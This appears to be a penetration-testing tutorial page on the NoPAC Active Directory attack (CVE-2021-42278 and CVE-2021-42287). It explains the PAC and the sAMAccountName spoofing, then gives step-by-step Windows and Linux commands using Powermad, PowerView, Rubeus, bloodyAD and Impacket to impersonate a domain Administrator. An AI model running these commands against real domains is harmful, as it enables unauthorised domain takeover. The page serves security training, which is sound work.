# NoPAC

The NoPAC attack, commonly associated with the vulnerabilities [CVE-2021-42278](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e) and [CVE-2021-42287](https://support.microsoft.com/en-gb/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041), refers to a method where a Domain User can perform privilege escalation and impersonate any privilege account through what is known as `sAMAccountName Spoofing`.

The attack starts with [CVE-2021-42278](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e), which exploits the lack of restrictions on modifications to the `sAMAccountName` attribute in Active Directory. By default, Windows Active Directory does not enforce strict validation of this attribute, particularly ensuring that computer account names end with a `$` sign to distinguish them from user accounts. When we have sufficient permissions on a machine account, we can change the `sAMAccountName` of that account to the name of a domain controller without the `$`. This modification sets up the scenario for impersonating a domain controller.

After changing the `sAMAccountName` to a domain controller's name (without the trailing `$`), we can exploit [CVE-2021-42287](https://support.microsoft.com/en-gb/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041). This vulnerability lies within the Key Distribution Center. The KDC is tricked during the Service Ticket request phase. When a Service Ticket is requested for a non-existent account, the KDC will append a `$` and search again.

The exploitation process makes use of this behavior. We request a `Ticket Granting Ticket (TGT)` using the modified `sAMAccountName`, and then request a `Service Ticket`, the KDC fails to find the account and appends a `$` sign, unintentionally matching the legitimate domain controller's account, and finally we get a `Service Ticket` with the domain controller's privileges.

#### PAC

The `Privilege Attribute Certificate (PAC)` is a data structure used in [Kerberos authentication](../kerberos/overview-of-kerberos-authentication) within Windows environments. It contains important information about the user's identity and group memberships, which are used by services to enforce access control decisions.

When a user requests a `TGT` from the `KDC`, the KDC includes a `PAC` in the TGT. This PAC is later used by services to determine the user's permissions when accessing resources.

A PAC contains several critical pieces of information:

* **User SID (Security Identifier)**: A unique identifier for the user.
* **Group SIDs**: Identifiers for the groups to which the user belongs.
* **User Rights**: Information about the user's privileges.
* **Logon Information**: Details about the user's logon session, such as the logon time.

The presence of a PAC in Kerberos tickets is essential for the correct functioning of access control in Windows domains. If a Domain Controller returns a TGT without a PAC (as in the case of NoPAC vulnerability), it can lead to security issues where access controls are bypassed or improperly enforced.

To enumerate this from windows we can us the [noPAC](https://github.com/cube0x0/noPac) binary

```
.\noPac.exe scan -domain inlanefreight.local -user aneudy -pass Ilovemusic01
```

or the [linux version](https://github.com/Ridter/noPac)

```
python3 noPac/scanner.py -dc-ip 10.10.10.10 domain.com/otter:'SomethingSecure123!' -use-ldap
```

The next step is getting the MAQ of the user we own - if we want to query the specific number of machines an account has already joined to the domain, we can also use PowerView to query every machine and find its [ms-DS-CreatorSID](https://learn.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-creatorsid) attribute

```powershell
Import-Module .\PowerView.ps1
$computerName = 'OTTR'
$computer = Get-DomainComputer -Identity $computerName -Properties 'ms-DS-CreatorSID'
$sid = (New-Object System.Security.Principal.SecurityIdentifier($computer.'ms-DS-CreatorSID', 0)).Value
ConvertFrom-SID $sid
```

```powershell
$computers = Get-DomainComputer -Filter '(ms-DS-CreatorSID=*)' -Properties name,ms-ds-creatorsid
$userComputers = $computers | where { (New-Object System.Security.Principal.SecurityIdentifier($_."ms-ds-creatorsid",0)).Value -eq (ConvertTo-SID otter) }
$userComputers.Count
```

Just like in the case of [Resource-Based Constrained Delegation](../kerberos/resource-based-constrained-delegation), if the MAQ of the user is 0, we can use one of the existing machine accounts created by the user but we have to own it first.

The flow of the attack from windows is the following:

1. Create a computer account called TEST

```powershell
Import-Module .\Powermad.ps1
$password = ConvertTo-SecureString 'SomethingSecure123!' -AsPlainText -Force
New-MachineAccount -MachineAccount "TEST" -Password $($password) -Domain domain.com -DomainController 172.18.10.10 -Verbose
```

2. Clear the SPN attributes of the new computer account TEST

```powershell
Import-Module .\PowerView.ps1
Set-DomainObject -Identity 'TEST$' -Clear 'serviceprincipalname' -Domain domain.com -DomainController 172.18.10.10 -Verbose
```

3. Abuse CVE-2021-42278 and modify the sAMAccountName of the computer TEST to match the Domain Controller without `$`

```powershell
Set-MachineAccountAttribute -MachineAccount "TEST" -Value "dc" -Attribute samaccountname -Domain domain.com -DomainController 172.18.10.10 -Verbose
```

4. Request a TGT for TEST with its credentials

```
.\Rubeus.exe asktgt /user:dc /password:"SomethingSecure123!" /domain:domain.com /dc:172.18.10.10 /nowrap
```

5. Revert TEST sAMAccountName to its original value

```powershell
Set-MachineAccountAttribute -MachineAccount "TEST" -Value "TEST" -Attribute samaccountname -Domain domain.com -DomainController 172.18.10.10 -Verbose
```

6. Abuse CVE-2021-42287 and request a service ticket with S4U2self using TEST TGT

```
.\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:"ldap/dc.domain.com" /dc:172.18.10.10 /ptt /ticket:<TICKET>
```

From linux we can just use bloodyAD to perform the attack but instead of creating a new machine account we will do the attack with a user account we have `GenericAll` over:

2. Clear the SPN attributes of the user account

```
bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object anotherUser servicePrincipalName
```

3. Abuse CVE-2021-42278 and modify the sAMAccountName of the user to match the Domain Controller without `$`

```
bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object anotherUser sAMAccountName -v DC
```

4. Request a TGT for the user with its credentials

```
getTGT.py domain.com/dc:'SomethingSecure123!' -dc-ip 10.10.10.10
```

5. Revert the user's sAMAccountName to its original value

```
bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object DC sAMAccountName -v anotherUser
# or
bloodyAD -d domain.com -u otter -p 'SomethingSecure123!' --host 10.10.10.10 set object "CN=anotherUser,CN=Users,DC=domain,DC=com" sAMAccountName -v anotherUser
```

6. Abuse CVE-2021-42287 and request a service ticket with S4U2self using the user's TGT

```
export KRB5CCNAME=dc03.ccache
getST.py domain.com/dc -self -impersonate 'Administrator' -altservice 'cifs/dc.domain.com' -k -no-pass -dc-ip 10.10.10.10
```
